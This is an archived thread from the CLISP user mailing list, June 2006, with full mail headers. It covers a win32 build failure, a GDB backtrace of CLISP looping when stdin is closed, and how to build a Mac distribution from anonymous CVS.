clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 16 Jun 2006 12:49:58 -0000 > * Marko Koci=C4=87 [2006-06-16 10:42:01 +0200]: > > cd ../ && make -f Makefile.devel src/configure > make[1]: Entering directory `/c/dev/cvstree/clisp' > egrep '(AC_INIT|AC_PREREQ)' src/configure.in > configure.ac > echo AC_GNU_SOURCE >> configure.ac > cat src/configure.in modules/berkeley-db/configure.in > modules/clx/new-clx/configure.in modules/dirkey/configure.in modul > es/fastcgi/configure.in modules/i18n/configure.in > modules/oracle/configure.in modules/pari/configure.in modules/pcre/con > figure.in modules/postgresql/configure.in modules/rawsock/configure.in > modules/readline/configure.in modules/regexp/conf > igure.in modules/syscalls/configure.in modules/wildcard/configure.in > modules/zlib/configure.in | \ > egrep -v -e 'AC_(INIT|PREREQ|CANONICAL_|GNU_SOURCE|CONFIG_HEADER|OUTPUT)'= \ > -e 'AC_CONFIG_FILE.*(Makefile|link\.sh)' >> configure.ac > echo AC_OUTPUT >> configure.ac > aclocal -I `pwd`/src/m4 --output=3Dsrc/autoconf/aclocal.m4 > /bin/sh: aclocal: command not found > make[1]: *** [src/autoconf/aclocal.m4] Error 127 > make[1]: Leaving directory `/c/dev/cvstree/clisp' > make: *** [../src/configure] Error 2 touch src/configure also, you might want to pass "--enable-maintainer-mode=3Dno" to the top-level configure (see "./configure --help") --=20 Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordea= ux) http://iris.org.il http://truepeace.org http://palestinefacts.org http://camera.org http://ffii.org http://pmw.org.il http://dhimmi.com Bill Gates is great, as long as `bill' is a verb. From marko.kocic@gmail.com Fri Jun 16 08:25:16 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FrGCC-0004LN-BC for clisp-list@lists.sourceforge.net; Fri, 16 Jun 2006 08:25:16 -0700 Received: from wr-out-0506.google.com ([64.233.184.226]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FrGCB-0007ZF-1t for clisp-list@lists.sourceforge.net; Fri, 16 Jun 2006 08:25:16 -0700 Received: by wr-out-0506.google.com with SMTP id i30so221597wra for ; Fri, 16 Jun 2006 08:25:14 -0700 (PDT) Received: by 10.54.93.3 with SMTP id q3mr1449110wrb; Fri, 16 Jun 2006 08:25:14 -0700 (PDT) Received: by 10.54.119.18 with HTTP; Fri, 16 Jun 2006 08:25:14 -0700 (PDT) Message-ID: <9238e8de0606160825vd8c915fgd13e8836abab5752@mail.gmail.com> Date: Fri, 16 Jun 2006 17:25:14 +0200 From: "=?UTF-8?Q?Marko_Koci=C4=87?=" To: clisp-list@lists.sourceforge.net, "=?UTF-8?Q?Marko_Koci=C4=87?=" In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <9238e8de0606160142o8c0ab0em4310f23372ca026d@mail.gmail.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] win32 compilation error X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 16 Jun 2006 15:25:16 -0000 Ok, I did this: touch src/configure ./configure --with-module=bindings/win32 --with-module=rawsock --disable-maintainer-mode --build build-mingw Now the error is the following: EXT -I. -c spvw.c In file included from spvw.d:24: lispbibl.d:1982:21: error: win32.c: No such file or directory. From kkylheku@gmail.com Fri Jun 16 11:44:02 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FrJIX-0004oj-SM for clisp-list@lists.sourceforge.net; Fri, 16 Jun 2006 11:44:01 -0700 Received: from wr-out-0506.google.com ([64.233.184.237]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FrJIW-0006DK-Lz for clisp-list@lists.sourceforge.net; Fri, 16 Jun 2006 11:44:01 -0700 Received: by wr-out-0506.google.com with SMTP id 71so691356wri for ; Fri, 16 Jun 2006 11:43:59 -0700 (PDT) Received: by 10.54.128.19 with SMTP id a19mr3159876wrd; Fri, 16 Jun 2006 11:43:59 -0700 (PDT) Received: by 10.54.156.18 with HTTP; Fri, 16 Jun 2006 11:43:59 -0700 (PDT) Message-ID: <3f43f78b0606161143v7e4c9e11i33bf6805304e04ba@mail.gmail.com> Date: Fri, 16 Jun 2006 11:43:59 -0700 From: "Kaz Kylheku" To: clisp-list@lists.sourceforge.net In-Reply-To: <3f43f78b0606161126t3a0c14efkfce8c48d9bd3d845@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <3f43f78b0606161126t3a0c14efkfce8c48d9bd3d845@mail.gmail.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] tty close/hangup problems X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 16 Jun 2006 18:44:02 -0000 I've noticed that CLISP on Linux goes nuts if standard input is abruptly closed. For instance, the network disconnects and times out, or you kill your SSH or telnet session. I rebuilt it with -g to see what is going on. It gets into a tight error handling loop that generates thousands of stack frames, revolving around some unbound variable. Here is a GDB backtrace from the top. Notice that the frame numbers are above 80,000. To try to shed some light, instead of having the CLISP just sit in a REPL, I had it executing this: (with-open-file (out "out.txt" :direction :output) (loop (write-line (read-line) out) (force-output out))) Notice the "~S: symbol ~S has no value:" errors, and the nested invocations of signal_and_debug. This is CLISP 2.38, compiled from source tarball, on RH Enterprise Linux 4. I will try the CVS head, when I have a bit of time. Note: I had to replace some characters in the range 80-FF in string literals in the GDB backtrace with the character X so I could post this. #85155 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3) at eval.d:5779 #85156 0x080f3e86 in C_invoke_debugger () at error.d:703 #85157 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1) at eval.d:5339 #85158 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207 #85159 0x080f2b35 in end_error (stackptr=0xb711646c, start_driver_p=true) at error.d:317 #85160 0x080f2ba3 in fehler (errortype=unbound_variable, errorstring=0x8f3658c "~S: symbol ~S has no value") at error.d:349 #85161 0x0807a788 in interpret_bytecode_ (closure=0x20df558e, codeptr=0x20df4e74, byteptr_in=0x20df4f43 "XXX8\0021\213XXX8\020XXX1\202\a") at eval.d:6626 #85162 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3) at eval.d:5779 #85163 0x080f3e86 in C_invoke_debugger () at error.d:703 #85164 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1) at eval.d:5339 #85165 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207 #85166 0x080f2b35 in end_error (stackptr=0xb7116418, start_driver_p=true) at error.d:317 #85167 0x080f2ba3 in fehler (errortype=unbound_variable, errorstring=0x8f3658c "~S: symbol ~S has no value") at error.d:349 #85168 0x0807a788 in interpret_bytecode_ (closure=0x20df558e, codeptr=0x20df4e74, byteptr_in=0x20df4f43 "XXX8\0021\213XXX8\020XXX1\202\a") at eval.d:6626 #85169 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3) at eval.d:5779 #85170 0x080f3e86 in C_invoke_debugger () at error.d:703 #85171 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1) at eval.d:5339 #85172 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207 #85173 0x080f2b35 in end_error (stackptr=0xb71163c4, start_driver_p=true) at error.d:317 #85174 0x080f2ba3 in fehler (errortype=unbound_variable, errorstring=0x8f3658c "~S: symbol ~S has no value") at error.d:349 #85175 0x0807a788 in interpret_bytecode_ (closure=0x20df558e, codeptr=0x20df4e74, byteptr_in=0x20df4f43 "XXX8\0021\213XXX8\020XXX1\202\a") at eval.d:6626 #85176 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3) at eval.d:5779 #85177 0x080f3e86 in C_invoke_debugger () at error.d:703 #85178 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1) at eval.d:5339 #85179 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207 #85180 0x080f2b35 in end_error (stackptr=0xb7116370, start_driver_p=true) at error.d:317 #85181 0x080f2ba3 in fehler (errortype=unbound_variable, errorstring=0x8f3658c "~S: symbol ~S has no value") at error.d:349 #85182 0x0807a788 in interpret_bytecode_ (closure=0x20df558e, codeptr=0x20df4e74, byteptr_in=0x20df4f43 "XXX8\0021\213XXX8\020XXX1\202\a") at eval.d:6626 #85183 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3) at eval.d:5779 #85184 0x080f3e86 in C_invoke_debugger () at error.d:703 #85185 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1) at eval.d:5339 #85186 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207 #85187 0x080f2b35 in end_error (stackptr=0xb711631c, start_driver_p=true) at error.d:317 #85188 0x080f2ba3 in fehler (errortype=unbound_variable, errorstring=0x8f3658c "~S: symbol ~S has no value") at error.d:349 #85189 0x0807a788 in interpret_bytecode_ (closure=0x20df558e, codeptr=0x20df4e74, byteptr_in=0x20df4f43 "XXX8\0021\213XXX8\020XXX1\202\a") at eval.d:6626 #85190 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3) at eval.d:5779 #85191 0x080f3e86 in C_invoke_debugger () at error.d:703 #85192 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1) at eval.d:5339 #85193 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207 #85194 0x080f2b35 in end_error (stackptr=0xb71162c8, start_driver_p=true) at error.d:317 #85195 0x080f2ba3 in fehler (errortype=unbound_variable, errorstring=0x8f3658c "~S: symbol ~S has no value") at error.d:349 #85196 0x0807a788 in interpret_bytecode_ (closure=0x20df558e, codeptr=0x20df4e74, byteptr_in=0x20df4f43 "XXX8\0021\213XXX8\020XXX1\202\a") at eval.d:6626 #85197 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3) at eval.d:5779 #85198 0x080f3e86 in C_invoke_debugger () at error.d:703 #85199 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1) at eval.d:5339 #85200 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207 #85201 0x080f2b35 in end_error (stackptr=0xb7116274, start_driver_p=true) at error.d:317 #85202 0x080f37e2 in OS_error () at errunix.d:688 #85203 0x0809c8a7 in low_write_array_unbuffered_handle (stream=0x20e4c396, byteptr=0xbfff2fe0 "\n$XXX \004", len=1, persev=persev_full) at stream.d:5373 #85204 0x0809ca83 in wr_ch_unbuffered_unix (stream_=0x0, ch=0xbf826228) at stream.d:5448 #85205 0x080954ef in write_char (stream_=0xb7116270, ch=0xbf826228) at stream.d:895 #85206 0x08096843 in wr_ch_synonym (stream_=0x0, obj=0xc0000150) at stream.d:1374 #85207 0x080954ef in write_char (stream_=0xb711626c, ch=0xbf826228) at stream.d:895 #85208 0x080c1451 in C_terpri () at io.d:10563 #85209 0x0807afb8 in interpret_bytecode_ (closure=0x20df558e, codeptr=0x20df4e74, byteptr_in=0xd1
) at eval.d:7035 #85210 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3) at eval.d:5779 #85211 0x080f3e86 in C_invoke_debugger () at error.d:703 #85212 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1) at eval.d:5339 #85213 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207 #85214 0x080f2b35 in end_error (stackptr=0xb7116218, start_driver_p=true) at error.d:317 #85215 0x080f37e2 in OS_error () at errunix.d:688 #85216 0x0809c8a7 in low_write_array_unbuffered_handle (stream=0x20e4c396, byteptr=0xbfff3360 "\n$XXX \004", len=1, persev=persev_full) at stream.d:5373 #85217 0x0809ca83 in wr_ch_unbuffered_unix (stream_=0x0, ch=0xbf826228) at stream.d:5448 #85218 0x080954ef in write_char (stream_=0xb7116214, ch=0xbf826228) at stream.d:895 #85219 0x08096843 in wr_ch_synonym (stream_=0x0, obj=0xc0000150) at stream.d:1374 #85220 0x080954ef in write_char (stream_=0xb7116210, ch=0xbf826228) at stream.d:895 #85221 0x080c1451 in C_terpri () at io.d:10563 #85222 0x0807afb8 in interpret_bytecode_ (closure=0x20df558e, codeptr=0x20df4e74, byteptr_in=0xd1
) at eval.d:7035 #85223 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3) at eval.d:5779 #85224 0x080f3e86 in C_invoke_debugger () at error.d:703 #85225 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1) at eval.d:5339 #85226 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207 #85227 0x080f2b35 in end_error (stackptr=0xb71161bc, start_driver_p=true) at error.d:317 #85228 0x080f37e2 in OS_error () at errunix.d:688 #85229 0x0809c8a7 in low_write_array_unbuffered_handle (stream=0x20e4c396, byteptr=0xbfff36e0 "\n$XXX \004", len=1, persev=persev_full) at stream.d:5373 #85230 0x0809ca83 in wr_ch_unbuffered_unix (stream_=0x0, ch=0xbf826228) at stream.d:5448 #85231 0x080954ef in write_char (stream_=0xb71161b8, ch=0xbf826228) at stream.d:895 #85232 0x08096843 in wr_ch_synonym (stream_=0x0, obj=0xc0000150) at stream.d:1374 #85233 0x080954ef in write_char (stream_=0xb71161b4, ch=0xbf826228) at stream.d:895 #85234 0x080c1451 in C_terpri () at io.d:10563 #85235 0x0807afb8 in interpret_bytecode_ (closure=0x20df558e, codeptr=0x20df4e74, byteptr_in=0xd1
) at eval.d:7035 #85236 0x08079cf8 in funcall_closure (closure=0x20df558e, args_on_stack=3) at eval.d:5779 #85237 0x080f3e86 in C_invoke_debugger () at error.d:703 #85238 0x080797ce in funcall_subr (fun=0x81bc6b6, args_on_stack=1) at eval.d:5339 #85239 0x080f27ce in signal_and_debug (condition=0xbf826238) at error.d:207 #85240 0x080f2b35 in end_error (stackptr=0xb7116160, start_driver_p=true) at error.d:317 #85241 0x080f2ba3 in fehler (errortype=end_of_file, errorstring=0x8f36540 "~S: input stream ~S has reached its end") at error.d:349 #85242 0x080b0f36 in fehler_eof_aussen (stream_=0xbf826238) at io.d:947 #85243 0x080b6a68 in eof_handling (mvc=0) at io.d:4504 #85244 0x080b6cff in C_read_line () at io.d:4602 #85245 0x08076587 in eval_subr (fun=0x81bcf36) at eval.d:3558 #85246 0x08075fa4 in eval1 (form=0x682c086a) at eval.d:3033 #85247 0x08075ba7 in eval (form=0x682c086a) at eval.d:2907 #85248 0x08076d3b in eval_subr (fun=0x81bd276) at eval.d:3437 #85249 0x08075fa4 in eval1 (form=0x682c0872) at eval.d:3033 #85250 0x08075ba7 in eval (form=0x682c0872) at eval.d:2907 #85251 0x0808190a in C_tagbody () at control.d:1621 #85252 0x080760b7 in eval_fsubr (fun=0x20cf7c9e, args=0xbf826238) at eval.d:3195 #85253 0x08075fd0 in eval1 (form=0x682c068a) at eval.d:3050 #85254 0x08075ba7 in eval (form=0x682c068a) at eval.d:2907 #85255 0x08080e0d in C_block () at control.d:1297 #85256 0x080760b7 in eval_fsubr (fun=0x20cf7c6e, args=0xbf826238) at eval.d:3195 #85257 0x08075fd0 in eval1 (form=0x682c0672) at eval.d:3050 #85258 0x08075ba7 in eval (form=0x682c0672) at eval.d:2907 #85259 0x08075d20 in eval1 (form=0x682c0672) at eval.d:2976 #85260 0x08075ba7 in eval (form=0x682c087a) at eval.d:2907 #85261 0x0807ee99 in C_progn () at control.d:318 #85262 0x080760b7 in eval_fsubr (fun=0x20cf7abe, args=0xbf826238) at eval.d:3195 #85263 0x08075fd0 in eval1 (form=0x682c07ea) at eval.d:3050 #85264 0x08075ba7 in eval (form=0x682c07ea) at eval.d:2907 #85265 0x08081ed2 in C_multiple_value_prog1 () at control.d:1755 #85266 0x080760b7 in eval_fsubr (fun=0x20cf7cfe, args=0xbf826238) at eval.d:3195 #85267 0x08075fd0 in eval1 (form=0x682c07aa) at eval.d:3050 #85268 0x08075ba7 in eval (form=0x682c07aa) at eval.d:2907 #85269 0x08082545 in C_unwind_protect () at control.d:1920 #85270 0x080760b7 in eval_fsubr (fun=0x20cf7d5e, args=0xbf826238) at eval.d:3195 #85271 0x08075fd0 in eval1 (form=0x682c076a) at eval.d:3050 #85272 0x08075ba7 in eval (form=0x682c076a) at eval.d:2907 #85273 0x0807f855 in C_let () at control.d:689 #85274 0x080760b7 in eval_fsubr (fun=0x20cf7b06, args=0xbf826238) at eval.d:3195 #85275 0x08075fd0 in eval1 (form=0x682c074a) at eval.d:3050 #85276 0x08075ba7 in eval (form=0x682c074a) at eval.d:2907 #85277 0x08075d20 in eval1 (form=0x682c074a) at eval.d:2976 #85278 0x08075ba7 in eval (form=0x682c08aa) at eval.d:2907 #85279 0x080f00c1 in C_read_eval_print () at debug.d:408 #85280 0x080797ce in funcall_subr (fun=0x81bc176, args_on_stack=2) at eval.d:5339 #85281 0x0807af12 in interpret_bytecode_ (closure=0x20e6456e, codeptr=0x20df4d0c, byteptr_in=0x41
) at eval.d:7021 #85282 0x08079cf8 in funcall_closure (closure=0x20e6456e, args_on_stack=0) at eval.d:5779 #85283 0x0808280a in C_driver () at control.d:1976 #85284 0x0807afb8 in interpret_bytecode_ (closure=0x20df4e56, codeptr=0x20df4cb4, byteptr_in=0x1e
) at eval.d:7035 #85285 0x08079cf8 in funcall_closure (closure=0x20df4e56, args_on_stack=0) at eval.d:5779 #85286 0x080f02c7 in driver () at debug.d:477 #85287 0x08071a15 in reset (count=3071369679) at eval.d:517 #85288 0x080826ec in C_unwind_protect () at control.d:1952 #85289 0x080760b7 in eval_fsubr (fun=0x20cf7d5e, args=0xbf826238) at eval.d:3195 #85290 0x08075fd0 in eval1 (form=0x682c7caa) at eval.d:3050 #85291 0x08075ba7 in eval (form=0x682c7caa) at eval.d:2907 #85292 0x0807f855 in C_let () at control.d:689 #85293 0x080760b7 in eval_fsubr (fun=0x20cf7b06, args=0xbf826238) at eval.d:3195 #85294 0x08075fd0 in eval1 (form=0x682c7c8a) at eval.d:3050 #85295 0x08075ba7 in eval (form=0x682c7c8a) at eval.d:2907 #85296 0x08075d20 in eval1 (form=0x682c7c8a) at eval.d:2976 #85297 0x08075ba7 in eval (form=0x682c7dd2) at eval.d:2907 #85298 0x080f00c1 in C_read_eval_print () at debug.d:408 #85299 0x080797ce in funcall_subr (fun=0x81bc176, args_on_stack=2) at eval.d:5339 #85300 0x0807af12 in interpret_bytecode_ (closure=0x20e57256, codeptr=0x20df4d0c, byteptr_in=0x41
) at eval.d:7021 #85301 0x08079cf8 in funcall_closure (closure=0x20e57256, args_on_stack=0) at eval.d:5779 #85302 0x0808280a in C_driver () at control.d:1976 #85303 0x0807afb8 in interpret_bytecode_ (closure=0x20df4e56, codeptr=0x20df4cb4, byteptr_in=0x1e
) at eval.d:7035 #85304 0x08079cf8 in funcall_closure (closure=0x20df4e56, args_on_stack=0) at eval.d:5779 #85305 0x0807b20a in interpret_bytecode_ (closure=0x20e49dd6, codeptr=0x20d5032c, byteptr_in=0x42
) at eval.d:7085 #85306 0x08079cf8 in funcall_closure (closure=0x20e49dd6, args_on_stack=0) at eval.d:5779 #85307 0x080f02c7 in driver () at debug.d:477 #85308 0x0806e25b in main (argc=8, argv=0xbfff9d94) at spvw.d:3320 From sds@podval.org Mon Jun 19 13:10:58 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FsQ5K-0006y7-IE for clisp-list@lists.sourceforge.net; Mon, 19 Jun 2006 13:10:58 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FsQ5I-0002D6-Th for clisp-list@lists.sourceforge.net; Mon, 19 Jun 2006 13:10:58 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A4C920E00B4; Mon, 19 Jun 2006 16:10:49 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id BDE723680AA; Mon, 19 Jun 2006 16:10:47 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k5JKAlTH018644; Mon, 19 Jun 2006 16:10:47 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k5JKAcC1018642; Mon, 19 Jun 2006 16:10:38 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060610160225.17F651A818F@isis.cs3-inc.com> (Don Cohen's message of "Sat, 10 Jun 2006 09:02:25 -0700 (PDT)") References: <20060610160225.17F651A818F@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Date: Mon, 19 Jun 2006 16:10:38 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Mac tiger make distrib available for CVS ~2006/6/9 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 19 Jun 2006 20:10:58 -0000 > * Don Cohen [2006-06-10 09:02:25 -0700]: > > I managed to follow the instructions, more or less, almost without > incident, and have left the result in > http://don-eve.dyndns.org//clisp-2.38-powerpc-apple-darwin8.6.0-8.6.0.tar.gz when building from cvs, you might want to do make VERSION_SUFFIX="cvs-20060601-donc" distrib (just added) > It would have helped me if this had been in the INSTALL file: > $ cvs -d :pserver:anonymous@clisp.cvs.sourceforge.net/cvsroot/clisp co clisp we cannot put all information in every single file. if you already have unix/INSTALL, chances are that you already have the source distribution, so the instructions on getting the sources would just add unnecessary clutter. the instructions on getting clisp are on the official clisp homepage. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://openvotingconsortium.org http://iris.org.il http://mideasttruth.com http://pmw.org.il http://jihadwatch.org http://honestreporting.com cogito cogito ergo cogito sum From don-sourceforge-xx@isis.cs3-inc.com Mon Jun 19 13:32:40 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FsQQK-0000R8-Ga for clisp-list@lists.sourceforge.net; Mon, 19 Jun 2006 13:32:40 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FsQQK-0006YD-8N for clisp-list@lists.sourceforge.net; Mon, 19 Jun 2006 13:32:40 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id AC7751A818F; Mon, 19 Jun 2006 13:32:39 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17559.2535.650876.4026@isis.cs3-inc.com> Date: Mon, 19 Jun 2006 13:32:39 -0700 To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20060610160225.17F651A818F@isis.cs3-inc.com> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Mac tiger make distrib available for CVS ~2006/6/9 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 19 Jun 2006 20:32:40 -0000 Sam Steingold writes: > when building from cvs, you might want to do > make VERSION_SUFFIX="cvs-20060601-donc" distrib > (just added) What does just added mean? I'm hoping it means that you've uploaded this build, modified it in some appropriate way and put it somewhere else for people to retrieve. Does this change just the name of the distrib file or also the name of the directory it contains, or what? > > It would have helped me if this had been in the INSTALL file: > > $ cvs -d :pserver:anonymous@clisp.cvs.sourceforge.net/cvsroot/clisp co clisp > > we cannot put all information in every single file. > if you already have unix/INSTALL, chances are that you already have the > source distribution, so the instructions on getting the sources would > just add unnecessary clutter. > > the instructions on getting clisp are on the official clisp homepage. I don't see anything on that page that provides the direction above. I would appreciate if there were. I ended up reading the cvs doc for a while before I managed to construct the line above. I don't suppose it qualifies as a FAQ. I see rsync which gives me an entire cvs tree. (I tried for a while to figure out how to use that.) CVS browsing (which seems not to be working at the moment) could get me the unix/INSTALL file. From sds@podval.org Mon Jun 19 14:14:05 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FsR4P-00045k-DM for clisp-list@lists.sourceforge.net; Mon, 19 Jun 2006 14:14:05 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FsR4L-0007YZ-Fo for clisp-list@lists.sourceforge.net; Mon, 19 Jun 2006 14:14:05 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A3933DF009C; Mon, 19 Jun 2006 17:13:55 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 639683680AA; Mon, 19 Jun 2006 17:13:55 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k5JLDtFR023011; Mon, 19 Jun 2006 17:13:55 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k5JLDrSK023010; Mon, 19 Jun 2006 17:13:53 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17559.2535.650876.4026@isis.cs3-inc.com> (Don Cohen's message of "Mon, 19 Jun 2006 13:32:39 -0700") References: <20060610160225.17F651A818F@isis.cs3-inc.com> <17559.2535.650876.4026@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Date: Mon, 19 Jun 2006 17:13:52 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Mac tiger make distrib available for CVS ~2006/6/9 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 19 Jun 2006 21:14:05 -0000 > * Don Cohen [2006-06-19 13:32:39 -0700]: > > Sam Steingold writes: > > when building from cvs, you might want to do > > make VERSION_SUFFIX="cvs-20060601-donc" distrib > > (just added) > What does just added mean? it means that you need to do "cvs up" to use this feature. > > > It would have helped me if this had been in the INSTALL file: > > > $ cvs -d :pserver:anonymous@clisp.cvs.sourceforge.net/cvsroot/clisp co clisp > > > > we cannot put all information in every single file. > > if you already have unix/INSTALL, chances are that you already have the > > source distribution, so the instructions on getting the sources would > > just add unnecessary clutter. > > > > the instructions on getting clisp are on the official clisp homepage. > I don't see anything on that page that provides the direction above. the page refers to the SF home which, in turn, has cvs instructions. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) 